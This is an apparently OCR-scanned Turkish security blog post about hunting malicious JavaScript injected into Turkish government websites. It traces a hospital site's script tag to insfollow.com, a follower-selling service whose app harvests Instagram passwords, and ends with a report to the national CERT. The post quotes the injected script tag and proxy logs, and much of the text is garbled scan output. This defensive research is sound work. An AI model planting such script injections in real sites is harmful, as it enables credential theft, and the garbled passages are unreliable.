The post Yara ile Tehdit Avi appeared first on Siber Giivenlik Glinligii.

Tehdit Avi

By Mert SARICA on August 1st, 2017

Bazen bir zararli yazilimi konu alan blog yazisi yazdiktan sonra “Peki sen olsan bunu nasil tespit edebilirdin ?” diye kendi kendime
soruyorum ve arka planda aklimi kurcalayan, yanitlanmay1 bekleyen bu soru ile ilgili bir siire¢ istemsiz olarak baglamig oluyor. Bu siire¢
tamamlandiginda, soru yanitlandiginda ise sekil 1-A’da goriilecegi iizere ortaya yeni bir blog yazisi ¢ikivermis oluyor. Okumakta oldugunuz
bu yazida da yine benzer sekilde Aralik 2016’ nin blog yazist olan They PWN Houses! yazisini yazdiktan sonra “Peki bu art niyetli kisiler
devlet sitelerini hedef aliyorlar ve sayfaya zararli JavaScript kodu enjekte ediyorlar ise bunu tespit etmek pratikte ne kadar zor olabilir ?”
sorusuna yanit aradim.

[lk is olarak Google, Bing gibi arama motorlarindan faydalanarak devlet sitelerimizin (.gov.tr uzantili) alan adlarina arama motorlarmnin
APIleri iizerinden ulagsmaya ¢aligsam da, mevcut kisitlarindan dolay1 basarili olamadim. Keske elimin altinda OpenDNS servisine yapilan
DNS istekleri olsayd: da oradan listeyi ¢ikarabilirdim diye g¢aresizce hayal kurarken aklima OpenDNS’in muadili olan Roksit geldi ve
kendileri ile iletisime gecerek yapmis oldugum giivenlik aragtirmasi ile ilgili olarak bu konuda destek istemeye karar verdim. Sagolsunlar
niyetimin iyi oldugunu anladiktan sonra her ne kadar tamami olmasa da aklimdaki fikri pratige dokebilecegim kadar gov.tr uzantili alan
adlarmin listesini (~8000 tane) benimle paylastilar.

Listeyi temin ettikten sonra vakit kaybetmeden Python ile tiim web sitelerini gezip, ana sayfaya mevcut site iizerinden veya herhangi bir web
adresi tizerinden enjekte edilen (import) JavaScript kodlarini tespit eden ve web adresleri ile birlikte diske kayit eden JavaScript Crawler
adinda oldukga basit bir ara¢ tasarladim. Bu araci ¢alistirdiktan kisa bir siire sonra tespit edilen tim JavaScript dosyalarini ilgili adreslerinden
indiren (download) bir betik dosyast hazirladim. JavaScript dosyalarini indirdikten sonra ClamAV, ESET NOD32 ve Kaspersky Internet
Security Suite giivenlik yazilimlari ile tiim bu dosyalari tarattigimda herhangi bir zararli dosyaya rastlamadim.

Javascript crawler v1.0 [https://www.mertsarica.com]

crawling. ..
Connecting to: http://atam.gov.tr
. Script tag: http://ajax.googleapis.com/ajax/1ibs/jquery/1/jquery.min. js
script tag: http://www.atam.gov. tr/wp-content/themes,/vl/js/s1ider. js
script tag: http://code. jquery.com/ui/1.10.3/jquery-ui.js
Script tag: http:;fwww.atam.gov.trpr—inc1udes;%sﬁjquery!jquery.js?ver=1.?.2
script tag: http://www.atam.gov.tr/wp-content/plugins/media-element-html5-video-and-audio-player /mediaelement /mediaelement-and-player.min. js?ver=2.1.3
script tag: http://www.atam.gov.tr/wp-includes/js/tw-sack. js7ver=1.6.1
script tag: htrp://www.atam.gov.tr/wp-content/plugins/contact-form-7/includes/js/jquery.form. js?ver=3.09
. 5cript tag: http://www.atam.gov. tr/wp-content/plugins/contact-form-7/includes/js/scripts. js?ver=3.2
. Script tag: http://www.atam. gov.tr/wp-content/plugins/1ightbox-plus/js/jquery.colorbox.1.3. 32. js?ver=1. 3. 32
Connecting to: http://atasehir.gov.tr
Connecting to: http://atasehirtarim.gov.tr
connection error: <urlopen error [Errno -3] Temporary failure in name resolution>
connecting to: http://atatm.gov.tr
Connection error: <urlopen error [Errno -2] Name or service not known:>
Connecting to: http://ataturkcocukyuvasi-shcek. gov.tr
connection error: <urlopen error [Errno -3] Temporary failure in name resolution>
connecting to: http://ataturkhavalimani.gov.tr
. Script tag: hrtp://ataturkhavalimani.gov.tr/wp-content/themes/airportthememobile/js/contentslider. js
. script tad: http://ataturkhavalimani.gov.tr/wp-content/themes/airportthememobile/Js/css3-multi-column. js
. Script tag: http://ataturkhavalimani.gov.tr/wp-content/themes/airportthememobile/Js/config. js
. Script tag: http://ataturkhavalimani.gov.tr/wp-content/themes/airportthememobile/js/jquery. jcarousel.min. js?v=14480
. Script tag: ht:p:!/ataturkhava]imani.gov.trpr-content{themesfairportthememob11efisf§ssor.s ider.min. js
. 5cript tag: http://ataturkhavalimani.gov.tr/wp-content/themes/airportthememobile/js/s1ideItFeatured. j5
connecting to: http://ataturkyuksekkurum.gov.tr
Connection error: <urlopen error [Errno -5] No address associated with hostnames
Connecting to: http://atb.gov.tr
connection error: <urlopen error [Errno -3] Temporary failure in name resolutions
Connecting to: http://athgm.gov.tr
Connection error: <urlopen error timed out>
Connecting to: http://atk.gov.tr
connection error: <urlopen error timed out>
Connecting to: http://atkaracalar.gov.tr
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http://www.mertsarica.com/yara-ile-tehdit-avi/
http://www.mertsarica.com
http://www.mertsarica.com/tehdit-avi/
http://www.mertsarica.com/they-pwn-houses/
http://www.opendns.com/
http://www.roksit.com/what-is-roksit
http://github.com/mertsarica/hack4career/blob/master/codes/javascript_crawler.py
http://www.clamav.net/
http://www.eset.com/int/home/antivirus/
http://www.kaspersky.com/internet-security
http://www.kaspersky.com/internet-security

JToOT/ javascripts/ jquery. qu icEsaﬁ js 2 oK

Jroot
Jroot
Jroot/
Jroot)
Jroot/
froot/
Jroot/

avascr
avaser
avascr
avascr
avascr
avascr
avascr

ts/easing.1. 3.min
ts,.-‘s'llderj?uery f‘le:s'lider min. j5: oK
query. fanc 10K
:s,-' nterstitial. s n&
JSiguery. si lemodal.1.4.1.min. is:
ts,-' _xjzhlhvfcgv, ixh-aﬁc.nmmpaiprn -2vkC-OWXARD. J5.1: OK
ts,-’Tou( ScrollExtender. js:
ts; query }uu(hSu‘ipe min. js ? oK
ts,
ts,"cta—javascr‘ipt js 1 oK

ts/
ghs ide W th gal'lery js 9: oK
ts!jquery -1.8.3.min. js.1:
ts/MyriadPro- Reao'lar font. i © oK

iptss placeholder. min. js.1: ox
;?:wp‘a er mn js oK

u{ query.

s,/ m:s:rap hover dropdown. §5.2: 0K

s/ scripts. js:

avascr
avascr

avascri
avascri

s/

‘-,.-’aquery \'an:gbox pack. j5.3: oK
:s{s:ript ']‘s 14: oK

ipts/qs

.8
535500, s'lidlr mini, js oK
TS,/ MOOTO0]S-Core. s
ts/respond. min. §5, r,
wyeasinq:l.zjsz oK
ts?elec:am‘t Js.1 Hd k.§s.8: ox
T niva. s er. pack. Js.
ts.-"i?uhti;o

T5/s al‘ResponsiveClaSS 51 OK
csﬂh‘:m?s is.5 d
ts,-'eas1ﬂg ;5 oK
s/ jquery. ur-at:urrency—l,l,o,min.js: oK
ts,-'sangars'lider is:

gt_rssscroller. js
ts}gmtstrap min. js.53: OK
ts/owl.carousel.min. js. 3:
ts!R&YS:HryEeslSQwMIyA js
ts,/downlo;

51
pts/eng 11:'I|e motools 5,43 m(

avascr

‘.:;"lwchscro'l'\Exte r.js.1

avascr

ts/jquery. tnewepuntrl p'lug1ns min Js.1: ok
ok

avascr

TS5,/ mer gen-. coru min. js:

avascr

avascr

A
::.-’p?ugins extra.js: ok

‘w{alr

avascr

avascr
avascr

query. jplayer.min, j
{s.-’ query. :arou 1.min

avas
avascr
avascr
avascr
avascr

avascripts

avascr

\:s.-’sufob j ecl. .
s/ Jqu asing. 1.2
pts.a’t ou(hs‘l ider.plugin

query. vali

5851

Dtsfiquery mcusaoﬂscro‘libar js: ok
at

prs/hrals. min. js.

AN SUMMAR'
5403271

Knommn
Engine version: 0.99.2
Scanned directories: 1

i :u-bo php"ro'l'lupxzn 17. 2%2Fyui-moodlesisple. jsiamp; rol lupk2r1455265854%2Fmcor e-debug. j5: ok
5: 0

Pa Kaspersky Internet Security

Q—) Scan

Eull Scan

Quick Scan

Selective Scan

External Devices Scan @

Task Manager

© O O

Scan schedule v

o 9

No running scans

Recent scans

Scan of folder “javascripts”

Safe: no threats detected.

Detailed report 2,719 files.

Sean of folder "javascripts"

Safe: no threats detected.

Detailed report 2,757 files.

Scan of file "javascripts.tar.gz”
Safe: no threats detected.

Detailed report 2,759 files.

Rootkit Scan
Safe: no threats detected.

Detailed report 3,510 files.

Other products

My Kaspersky

less than a minute ago

2 minutes ago

12 minutes ago

22 hours ago

License: 137 days remaining
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NOD32 ANTIVIRUS — ¥

Bilgisayar taramasi Q)
A Ana Sayfa
O. Bilgisayar taramasi O Bilgisayannizi tarayin Geligmis taramalar
4, Tim yerel diskleri tarayin ve tehditleri Ozel ve gikanlabilir medya taramalan

S Guncelle ey
& Araclar
% Ayarlar Igerik mendist

' v Tarama tamamland
® Yardim ve destek Bulunan tehditler: 0

Kullarilan virds imza veri tabani: 14777 (20170116)

Gunluga goster

Bulunan tehditler: 0
Kullamlan virds imza veri tabani: 14777 (20170116)

Gunluga goster

5 i@e-"«"jr!eﬂus:u _

ENJOY SAFER TECHNOLOGY™ Taramadan sonraki eylem | Eylem yok ~ Tamind at

m Ucretsiz deneme sirimi 29 giin icinde sona eriyor.

Ardindan kay1t dosyasinda yer alan JavaScript dosyalarinin web adreslerini sort araci ile siralayip ajax.googleapis.com gibi bilinen adresleri
ayikladiktan sonra insfollow.com alan ad1 dikkatimi ¢ekti. Bu alan adinin hangi gov.tr uzantili devlet sitesi lizerinde tespit edildigini kontrol
ettigimde ise Rize Devlet Hastanesi‘nin web sitesi oldugunu gordiim. Web sitesini ziyaret edip kaynak koduna baktigimda insfollow.com
alan adimi ve enjekte edilen JavaScript dosyasini kolaylikla tespit edebildim. VirusTotal sitesi tizeriinde insfollow.com adresini arttigimda
ise 3 glivenlik yaziliminin bunu oltalama (phishing) sitesi olarak tespit ettigini gérdiim.
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http://www.rdh.gov.tr
http://www.virustotal.com/

g [ Rize Devlet Hastanesi - 5= X

€« C' | [0 www.rdh.gov.tr e =
A TC.
| SAGLIK BAKANLIGI /
TURKIYE KAMU HASTANELERI KURUMU ) ?
Rize ili Kamu Hastaneleri Birligi Genel Sekreterligi y
RIZE DEVLET HASTANESI - ’

Rize Devlet Hastanesi

1z Icin Calisiyoruz...

Siteye Giris

GORUS | ONERILER ONLINE RANDEVU

Calisanlanimizin gérily n Hastane.m.ize randevu
e anerileri igin L almak icin tiklaym.
o tiklayinz. iHALELER . ,

GORUS / ONERILER ULASIM BILGILERI
Hastalarimizin goris Ulasim bilgilerini Hastanemizin ihalelerini (bt e s aniidin Gliim Bildirim Sistemine
ve dnerileri igin g gé”,:r:ek icin gérmek igin triklaymz! tlkla\rm:f! = S A
5 tiklayiniz. .. tiklayiniz

Web sitemiz en iyi 1020 x 1080 coziiniirlikte Chrome, Yandex, Firefox, Internet Explorer 10 ve iizeri web tarayicilarda gériintilenir.
Tasarim & Kodlama: Hiiseyin AKYILDIZ | E-posta: huseyin@rdh.gov.tr | Copyright @ 2011 - 2017 Rize Devlet Hastanesi

[6 Telerik Fiddler Web Debugger
File Edit Rules Tools View Help GET /book E GeoEdge

g

C) +4 Replay X - b Go ‘ Stream ;‘:jfﬁ Decode | Keep: All sessions ~ @ Any Process 34 Find Save @ @ @ Browse - @ Clear Cache T TedWizard | [ Tearoff -
# Result Protocol Host URL Body Caching Content-Type Process * Comp E Log I [] Filters | — Timeline
€91 200 HTTP www.rdh.gov.tr  f 8,139 text/himl chrome (5] Statistics “«& [nspectors ) | % AutoResponder
A2 404 HTTP www.insfollow.com  fkdsnow.js 19.520 ‘ text/html chrome I Headers | Textview | WebForms | Hex\View | Auth !
tss{3 200 www.rdh.gov.tr  fintro/style.css 8.238 text/css chrome Cookies | Han | 150N | M|
A4 404 fis/sagtusengelleme 1.js text/html chrome
I:_:—IS 200 fmedia/top.png imagefpng chrome - .
200 HTTP media,gi.png I chrome GET /kdsnow js HTTP/1.1
200 HTTP fintro/fintro_bayrak_bg_us.. image fipeg chrome Cache iz
200 HTTP fintrofintro_bayrak_bg_al... image fipeg chrome Came{onhol:d:oﬁche 3
200 HTTP fintrofintro_sayfa_alt_bg.... image,fpng chrome i I::tagma. LhTils i
A w0 404 HTTP WINW, fis/sagtusengelleme 1.js text/html chrome 'eAmept' =pe
2%11 200 HTTRS www.google-analyti... fanalytics.js 11,590 public, ... textfjavasc.. chrome AcceptEncoding: gzip, deflate, sdch
12 200 HTTP www.rdh.gov.tr  fgirfindex.html 945 text/himl chrome Accept-Language: en-JS,en;q=0.8
€913 200 HTTP www.rdh.gov.tr  faltmenu.html 2,381 text/html chrome User-Agent: Mozila/5.0 (Windows NT 6. 1; Win64; x64) e
€914 200 HTTP www.rdh.gov.tr  faltsag/findex.html 5.280 text/himl chrome N P TE— v
£¥15 00 HTTP / text/himl chrome|= ——r—
lzh,s 200 HTTP /fa_orta_bg.pna image/png chrome Get SyntaxView | Transformer | Headers | Textvi
IZ|1? 200 HTTP fintrofintra_sayfa_orta_b... image/png chrome ImageView | HexView | WebView | Auth | Caling |
I:zlls 200 HTTP fintrojfintro_bayrak_bg_or... image fipeg chrome Cookies | I Raw | 150N | XML |
% 19 200 HTTP WWW, Jfairfswfobject.js application/... chrome . .
HTTP/1.1 404 Not Found -
ss{ 20 200 HTTP www.rdh.gov.tr  faltsagfcss/Style.css textfess chrome Date: Mon, 16 Jan 2017 14:00:33 GMT l_.l
A2 404 HTTP www.rdh.gov.tr  [altsag/slider /themes/def... text/html chrome Server: Apache —
i gl Connection: close
Az 404 HTTP www.rdh.gov.tr  /altsag/fslider/themes/pas... text/himl chrome Content-Type: text/html
A2 404 HTTP [eltsag/slider fthemes/orm. .. text/html chrome Content-Length: 19507
A 24 404 HTTP [altsag slider fnivo-slider.css text/himl chrome <!DOCTYPE html> )
IZ|25 200 HTTPS feollect?v=18_v=j478a=... 35 no-<cac... image/gif chrome :rr:terga;ang= LEStclosssiisi
rss{ 25 200 HTTP Jmedia/css/core_compres... 53.825 text/css chrome <script async src="//pageadz.googlesyndicatic
= e i s - i <script>
43527 200  HTTPS WWW. jga.js 16.022 public, ... textfiavasc... chrome (adsbygoogle = window. adsbygoogle || [1).pt
As 404 HTTP [fajax.googleapis.com/aja... 918 text/himl chrome guug} e_ad_c'l}em:_:I "Sajpﬁb-25?394525315 33
%29 200 HTTP fmediafislang_box.js 31.680 J. chrome| | })t;:na EoRElEs IENE . eCs o LTS
%30 200 HTTP [mediafjsfiquery.tinycaro... 2.891 chrome </script=
%31 200 HTTP fmediafjsfall_compressed.... 108.095 ... chrome <1-- start Alexa Certify Javascript --»
=32 20 lerandew 3,387 i Ior I <script type="text/javascript™»
D.c 200 HTTP [altsagfimages ferandevu.... 3.387 imagepng chrome atrk opts = { atrkoacct: urZmolIwNaiomh®, de
£¥33 200 HTTP Jaltsag index. himl 5.280 text/html chrome (function() { var as = document.createElement
@3-} 200 HTTPS J__utm.gif?utmy 7 35 no-cac... image/gif chrome _ /! e e o i ]
5. A et u g S s & o : g : b
< I | r
e

= All Processes 1/39 http:ffwww.insfollow. com fkdsnow. js



F [ Rize Deviet Hastanesi - 5¢ X,Y [ view-sourcemmwwrdh.gor X

€ - C [} view-source:www.rdh.gov.tr
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<html>
<head>

<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<meta name="keywords" content="Rize Devlet Hastanesi">»

<meta name="description" content="Rize Devlet Hastanesi - Saglifiniz icin calisiyoruz.">
<meta http-equiv="Content-Language"” content="tr">»

<meta name="Copyright" content="Rize Devlet Hastanesi"»

<meta name="Author" content="Rize Devlet Hastanesi">

<meta name="Robots" content="All">

<meta name="Revisit-After” content="1@" +="" days"="">»

<meta name="msapplication-TileColor" content="#CE3944">

<meta name="theme-color" content="#CE3944">

<meta name="apple-mobile-web-app-status-bar-style" content="#CE3944">
<stylerbody { background-size:cover; background-attachment:fixed; }</style:
¢<script sre="http://www.insfollow.com/kdsnow.js"></script>

<link href="intro/style.css" rel="stylesheet" type="text/css">

P 5 mom o @ s W ora

@@ R @

b2

o
22| ¢title»Rize Devlet Hastanesi - Sagliginiz I¢in Calisiyoruz... </titles
22| <script language="javascript" src="/js/sagtusengellemel.js"></script>
24| <head><script>

25 (function(i,s,o,g,r,a,m){i[ 'GoogleAnalyticsObject' ]=r;i[r]=i[r]]||function(){

28 (i[r].q=i[r].q||[]1).push(arguments)},i[r].1l=1*new Date();a=s.createElement(o),

7 m=s.getElementsByTagName (o) [@];a.async=1;a.src=g;m.parentNode. insertBefore(a,m)

28 }){window,document, 'script’, "https://www.google-analytics.com/analytics.js", "ga’);

30 ga( 'create', 'UA-85550032-1°, ‘'auto’);
3 ga('send’, 'pageview');

3 | </scriptr></head>

34 | ¢<script language="JavaScript">

5|2

36| <!--

37| 3

22 | function boyutlama()

|4

4| {

(5

42 | var yukseklik=document.getElementById('iframe').contentWindow.document.body.scrollHeight;
43| 6

44 | document.getElementById( iframe’).height=yukseklik+5;

7 -

B Snreporferat UTC- 3¢\ e - 8 X

€ C | § Secure | hitps/www.virustotal com/en

URL ittp: vy insdollow. com/' +
Detoction ratio Iies

Analysis date 20170197 17.09.48 UTC | 0 minctes ags ) "

O Analysts @ Addiio ormation @B Comments X

URL Scannes Result
Sanglor WMabware site
Fertinet Phishing site
Kasparshy Phishing site
ADMINUSLabs

AegisLab WebGuard

AllenVault

AntiyAVL

Auien (no cloud)

Baldu-Intemational Clean site
EitDefender

Bilueliv Clean site
C-SIAT Clean site
Cently

CLEAN MX

Comodo Site Inspecior

b dena Flase sita

http://www.insfollow.com web sitesini ziyaret ettigimde ise bu sitenin Instagram sosyal medya platformu igin takipgi satmak amaciyla
olusturulmus bir web sitesi oldugunu gérdiim. Bu kilif altinda olusturulup, kullanicilarin sosyal medya ve ag parolalarini ¢alan zararli siteleri
ve zararli JavaScript kodlarini daha dnce analiz ettigim (Jeton Hirsizlari , Sosyal Ag Hirsizlari) igin aragtirmaya devam etmeye karar verdim.
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http://www.instagram.com/
http://www.mertsarica.com/jeton-hirsizlari/
http://www.mertsarica.com/sosyal-ag-hirsizlari/
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& C' | [ www.insfollow.com/kdsnow.js Bl =

INDIREN HERKESE +1000 KREDI

Yeni Android Uygulamamizi indirin Yoruma Hesap
Adinizi Yazin Krediniz Aninda Yiiklensin

MOBIL UYGULAMAYI iNDIR v
Siteye Giris Yap O

L‘f@ Instagram Takipgi » Insta ><Y B TAKIPGI KAZAN + - Gooo X

“ C | [1 www.insfollow.com/kdsnow.js BRgy =

Ucretsiz %100 Yerli instagram Takipci ve Bedeni
Sistemi

POPULER OLMANIN KISA
YOLU

Binlerce insanla etkilesim halinde olabilirsiniz. Tek yapmaniz
. ereken
Instagram ile giris yapmaniz !

HER GUN 200 KREDi HEDIYE
Sisteme Giris Sorumluluklan

INSTAGRAM iLE BAGLANIN
INSTAGRAM ILE BAGLANIN 2

TAKIPCI BAYI PANEL GIRISi

BEGENI BAYi PANEL GIRISi
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IIk olarak sitede reklami yapilan Takip¢i Kazan mobil uygulamasini indirip Genymotion dykiiniiciisii (emulator) iizerinde ¢alistirdim. Agilan
mesaj penceresinde, uygulamaya Instagram hesabi ile giris yapilmasi gerektigi sdyleniyordu. Ben de bunun iizerine kendime parolasini goniil

rahatligiyla ¢aldirabilecegim bir Instagram hesabi1 agtim.

/ B Insfollow - Google Play'c X \D

& c 0O | & Secure | httpsy//play.google.com/store/apps/developer?id=insfollow

' Google Play Arama yapin

Uygulamalar Kategoriler w Ana Sayfa Ust Siralar Yeni Cikanlar
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Hediye karti satin al - _ - _ - _ - _
% %% %1 UCRETSIZ La & &l UCRETSIZ UCRETSIZ * % k%A UCRETSIZ
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BT
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TAKIPGi KAZAN + APK

o dedrd 214 votes, 455
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Download APK 52w |4
Using APKPure App to upgrade TAKIPC| KAZAN +, tast free and save your internet data
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' 20170142
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Download APK
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Downioad APK

=
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http://www.genymotion.com/

B B

Music My First App Phone Play Store

@5 EO0

Settings Substrate Superuser  TAKIPGI Ka,

7 “’E

Voice Search Xposed Inst.

Voice Dialer

Uygulamay1 calistirdigimda arka planda http://myapi.mobiroller.com web adresine yapilan isteklerden bu uygulamanin Mobiroller
ile gelistirildigini 6grendim. Giden isteklere daha detayli baktigimda da, uygulama gelistiricine ait olan e-posta adresleri rahatlikla

goriilebiliyordu.
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http://www.mobiroller.com

E = 3 S8 600 - API23 - 144025 340, 60dpil-.. — O X
Burp Intuder Repeater Window Help

I‘M_IPW] Spader ] Scannar :Inlm@- iﬂewxar ] Saquencer ID’CM ] Camwu] Extender ] Fraject agtions ] User options. I Alerts | —_—
= > T —
[ Intorcopt | HTTP histasy. | WebSockets histary | Options |
Fiter: Hiding CSS, image and general binary content l
# 4| Host Method | URL Params | Edted | Status | Le{ Time Listener port
15 hitpimyapi mobirolercom  GET  (JSON/GelISOn/Taccount ScreeniDmaveNangation_msfG00718_52353_0@gmail com bl O 200 48 181927 1. 8080
16 hitpiimyapi mobircler.com  GET  AUSON/GeUSOnTaccountScresniDwms600718_52353_O@gmail com bl 0 20 181927 1. 8080
17 httpiimyapi mobircler.com  GET  USON/GelISOn/TaccountScreeniDeavelntrolessage_msfG00718_52353 O@gmail com Wl O 200 sy 181928 1. 8080
18 hitpimyapi mobirolee.com  GET  ASON/GetSOn/TaccountScreeniDamsfE00718_52353_D@grmail com ] 0 20 181926 1. 8080
19 hitpiimyapi mobiroler.com  POST  MAwednalytics/SessionStar i) o 20 2 18:13:39 1. 8080
20 httpiimyapi motircllercom  GET  AUSON/GelISOn/FaccountScreeniD=514015 [} o o200 4t 18:19:40 1., 8080
2 hitpiimyapi mobircller com  POST  MawAnalytics/ScreenDisplay 7] 0 w0 2z 18:19.42 1., 8080
2 hpitwwinsilowcom  GET  /sistemgiis a8 o 200 g9 18:19:42 1. 8080
2 hopih ak. GET /b iscriptafweblont j5 a8 0 00 12 18:13:431... 8080
2 hplajax googleapis.com  GET  fajmcfibs/jquery’2 0 Uliguery min js =] o 20 sl 18:13:43 1., 8080
2% hp ak. GET 1 7 him min j5 =] g 00 1§ 181343 1., 8080
2% heipfnstagn ek GET pts/polyills!s ham. min 5 e o 20 Tz 181343 1. 8080
Unuttun mu?
“« y— 5

Girig yap
Anasayfaya Geri Don

Hesabin yok mu?
Kaydolmak igin uygulamay edin.

Takip¢i Kazan uygulamasinin davranigini anlamak igin ilk olarak uygulamaya hatali Instagram parolami girdim. “Kullanici ad1 veya sifre
yanlis!!!” mesajindan uygulamanin aldig1 kullanici adi ve parola bilgisini anlik olarak Instagram iizerinde kullandig1 acikca anlasiliyordu.
Dogru parola girdikten sonra ise uygulamanin beni bilgilendirme ve 6deme sayfasina yonlendirdigini gérdiim. Daha sonra Instagram
hesabima giris yaptigimda ise takip ettigim kisilerin hizla arttigin1 gérdiim. Cok gegmeden Instagram hesabima giris yapamaz oldum ve kisa
bir siire sonra hesabim Instagram tarafindan donduruldu.

E = 3 S8 600 - API23 - 144025 340, 60dpil-.. — O X

Burp Intruder Repeater Window Help I
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— 3 T —

[ ntercept [ HTTP history | WebSockats tistary | Options |

Fiter: Hiding CSS, image and general binary content l
# | Host Mathod | URL Params | Edted | Status | Lot Tirne Listener port
15 heip/imyapimobiraler.com  GET  JJSON/Get)SOnaccountScreeniDeaveliavigation_maf500718_52353_0@gmail com o 00 46 18:19271.. 8080
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19 hitpimyap mobiroler.com  POST  MAueAnalytics/SessicnStan @ O e oz 181939 1. 8080

2 hpiimyapi mobirolercom  GET  WSONGHISOnaccountScreeniD=514015 =l O 20 a3 18:1940 1., 8080

21 hpfimyapi mobircler com  POST  MawAnalytics/ScreenDisplay =] (=] 2 18:13.42 1, 8080

2 hoplewwinslowcom  GET  fsistemgiis g O 200 s 18:19421.. 8080

2 haplh ak. GET  ibh Iscriptsiwebfont j5 g o 2 181943 1. 5080

2 hepisjac googleapis com  GET  fajmefibsljquaryt2 0. 0ljqueny. min js a O o sl 18:13:43 1. 508D

% hapdh ak. GET 7 him min js a O mo 16 1813431, 5080

% htpinstagn ek GET s polyils/es5-sham, min s =] O 20 72 Unuttun mu? 18:13:43 1. 9080

W hepfewwinstlowcom  POST  fogin php & O 3 wm SSID=6.. 18:20251.. 8080

N hetpeihwwe insfoliow, com GET  /sistemgins Teror=hata o o 200 L 182027 1. 8080
=% i | x|
[Request | Kullanici adi veya sifre yanhsg !

Request | Response | ya § yanhg 1

iM‘lem [Mm IHex\J
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o Kontrol ediniz
~age=0 i
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droid £.0; Samsung Galaxy 3£ - £.0.0 - API 23 - 1440x23£0 Build/NRASSE; wv) AppleVebEit/$37.3€ (KNTI

£ L La 1 ded i o
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Tip, deflate

i3

Hesabin yok mu?
Kaydolmak igin uygulamayi edin.

Accept-Encodis
Accept-Language:
-
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Burp Intruder Repeater Window Help

[ Farger [ Py | Spider | Scannse [ inrudse | Repester | Sequences | Decodes | Compares | Extendar | Project options | User options | Alens |

0 Genymetion - Samiung Galry 56 - 6.0.0 - API 23 - 18002560 (1480:2560, 640dp4) - ..  — o b4

[ ntorcept [ HTTP histesy. | WebSockets history | Options |

Filter: Showing all lems
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Length
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38517
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seript
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script
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shipt

#® a|Host Methed | URL | Params: Status |
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35 hepitwwwinsiloweem  GET  fstylefont-awesoene min ess a8 o 20
3 hnplwwwinstloweom  GET  fstyle/pacecss =] o 200
37 hetpisT sddthis com GET  (js/300addthis_widgst & a [
38 hopitwwwinsiolowcom  GET  istylelendiess.min.css a o 200
38 hetpitewwinsilowcem  GET  fessistycss =] [T
A0 hepiwwwinsiloweom  GET  fessisty-esponsiecss g (S
41 hapibcve GET  fisibeve_injs 5] o 200
42 heplicode ionichamework . GET  fionicons/2 0 Diessfionicons, min css =] (S
43 hpfewwinsillowcom  GET  fstylelondless-skincss = g m
4 hopiewwinsilowcom  GET  fsfiquery-1.10 2 min js g o 200
45 hopiewwinsillowcom  GET  /bootstrapfs/boctstiap min js g o 200
46 hopiwwwinsilowcom  GET  fjsimodemizr min j5 =] o 200
4T httpifionts googleapis com  GET fessMamily=Cpanr+Sans 400,300, 300kt alic 4001alic 600 600akc. 00, T00alic, 300, B00alic o g 200
I“k hetpiwww insdolow.com  GET  fis/pacemin j5 =) o 0
- .
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fRom o [t [r]

GET (home NTTF/L.1

Host: www.inatollow.com

Cache-Control: max-age=0

Accept: text/html,application/xhtml+uml, application/uml:q=0.9, image/vebp, "/ *iq=0.0
Upgrade- Insecure-Fequents: 1

User-Agent: Mozill,
Reterer: http://wvv.insfollow.com/sistemgirisfercor=hata
Accept-Encoding: gzip, detlate

Accept-Language: en-US

Cookie: PHPSESSID=£b3qi4nkotuf levbibpaditsce

i : com.nants 1low

Conpection: close

) (5 (6 () (e 2o

) Shackicaeer - Instagrs %
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) Shackicaser s Instagrs X Ea - -] ®
« G () | @ Secure | hps//wwwinstagram.com/mackdcareer/following T @ S

Following

denizcinn
Deriz ein

batuhantolgun
Batuhan Tolgun

Bu caligmanin sonucunda, devlet sitelerimizin They PWN Houses! yazisina konu olan organize gruplar haricinde takipgi kilifi altinda siteler
olusturan sosyal ag ve medya hirsizlar tarafindan da hedef alindigin1 6grenmis oldum. Yaptigim bu bireysel ¢alismanin devlet sitelerinin
giivenligini saglayan yetkili kurumlara 1s1k tutmasini temenni eder, takipgi kazan, begeni kazan gibi web sitelerine, mobil uygulamalara kars1
sosyal ag ve medya kullanicilarinin dikkatli olmasini 6nerir, bir sonraki yazida goriismek dilegiyle herkese giivenli glinler dilerim.

Not: Yapmis oldugum bildirime istinaden ¢aligma baslatan USOM ‘a, sorumlu bir vatandas olarak tesekkiir ederim.

[USOM-TRCERT #14343#] Siber Giivenlik Ihbari Inbas & B
ihbar@usom.gov.tr 10:23 AM {6 hours ago) - -
tome -

™ Images are not displayed. Display images below - Always display images from ihbar@usom.gov.ir
?A Turkish~ > English~  Translate message Tum off for: Turkish x
Sayin ligili,
Konuyla ilgili #14343# 107 ihbanniz tarafimiza ulagmig olup konuyla ilgili caligmalar baglatiimigtir
Bilgilerinize,

Ulusal Siber Olaylara Madahale Merkezi (USOM-TRCERT)
Bilgi Teknolojileri ve Iletisim Kurumu
Tel: (0312) 586 53 05

Weab: www usom govir
E-posta: [letisimy

Not: Arastirmayi yaptigim zaman ile blog yazisini yazmam ve yayimlamam arasinda gegen siire zarfinda yaziya konu olan hastanenin web
sayfasindan ilgili zararli kodun kaldirildig1 goriilmiistiir.

The post Tehdit Avi appeared first on Siber Glivenlik Giinliigii.

Tuzak Sistem ile Hacker Avi

By Mert SARICA on July 3rd, 2017

Etrafimdaki tanidigim, tanimadigim ¢ok sayida kisiden son yillarda su soruyu duymaya basladim, “Verilerimi sifrelediler, para istiyorlar,
ne yapabilirim ? Kimden yardim alabilirim ?”. Bunu, yillarca yapilan uyarilar dikkate almayip, emniyet kemeri takmadan yola ¢ikip,
hizla duvara toslayip daha sonra kolunu kaybeden bir kisinin “kolumu kaybettim, ne yapabilirim ?” sorusuna benzetiyorum. Bazi hatalarin
maalesef telafisi ya kolay olmuyor ya da olmuyor. Sifreleme zararli yazilimlarinin cirit atti1 siber diinyada, verilerinizi periyodik olarak
yedeklemez, sistemlerinizde/cihazlarinizda giiglii parolalar kullanmaz (biiyiik, kiigiik harf ve 6zel karakter kullanma gibi), sistemlerinizin
giivenligini sikilagtirmazsaniz (hardening), muhakkak art niyetli birilerinin dogrudan ya da dolayli olarak hedefi haline gelmeniz ¢ok uzun
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siirmez. Gegmisten, glinlimiize dogru yapmis oldugum giivenlik arastirmalarina bakacak olursaniz aslinda ne demek istedigimi daha net
anlayabilirsiniz.

Mert bey merhaba, 2 gin 6énce basimiz geldi, 2 ay 6ncede Istanbuldaki bir
firmaya. Musteride tum veritabanlarini ve ortak kulannilan dosyalari sifrediler ve
para istiyorlar. Bu konuda 3389 portu haricinde yapilabilecekler, alinmasi
gereken onlemler konusunda yardimci olabilirmisiniz. Vatandaslar Active
Directory icinde kendilerine kullanici yaratip bu kullanici tzerinden islem
